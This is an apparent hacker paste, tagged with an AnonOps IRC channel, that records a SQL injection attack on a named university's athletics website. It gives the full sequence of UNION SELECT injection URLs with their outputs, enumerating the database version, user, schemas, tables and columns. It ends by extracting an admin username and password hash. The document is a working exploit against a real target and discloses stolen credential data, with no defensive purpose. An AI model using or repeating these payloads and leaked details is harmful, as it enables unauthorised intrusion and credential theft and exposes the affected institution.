Sql Injection - Haskell Indian Nations University

irc.anonops.li - #tutorials - #bhlynx - sql

http://www.haskell.edu/athletics/index.php?cid=101-1+union+select+0,1,@@version,4,5--
5.1.56-community-log

http://www.haskell.edu/athletics/index.php?cid=101-1+union+select+0,1,user%28%29,4,5--
haskelle_haskell@localhost

http://www.haskell.edu/athletics/index.php?cid=101-1+union+select+0,1,group_concat%28schema_name%29,4,5%20from+information_schema.schemata--
information_schema,haskelle_haskellathletics,haskelle_zencart

http://www.haskell.edu/athletics/index.php?cid=101-1+union+select+0,1,database(),4,5--
haskelle_haskellathletics

http://www.haskell.edu/athletics/index.php?cid=101-1+union+select+0,1,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--
admin_users,categories,news,rosters

http://www.haskell.edu/athletics/index.php?cid=101-1+union+select+0,1,group_concat(column_name),4,5 from information_schema.columns where table_schema=database()--

admin_user_id,admin_username,admin_password,category_id,category_name,news_id,category_id,news_headline,news_content,date_posted,roster_id,category_id,first_name,last_name,number,position,height,weight,class,hometown,tribe

http://www.haskell.edu/athletics/index.php?cid=101-1+union+select+0,1,group_concat%28admin_username,0x3a,admin_password,0x3a%29,4,5%20from%20admin_users--
admin:618337e3c6860fbf46b1dbaa8463cd1f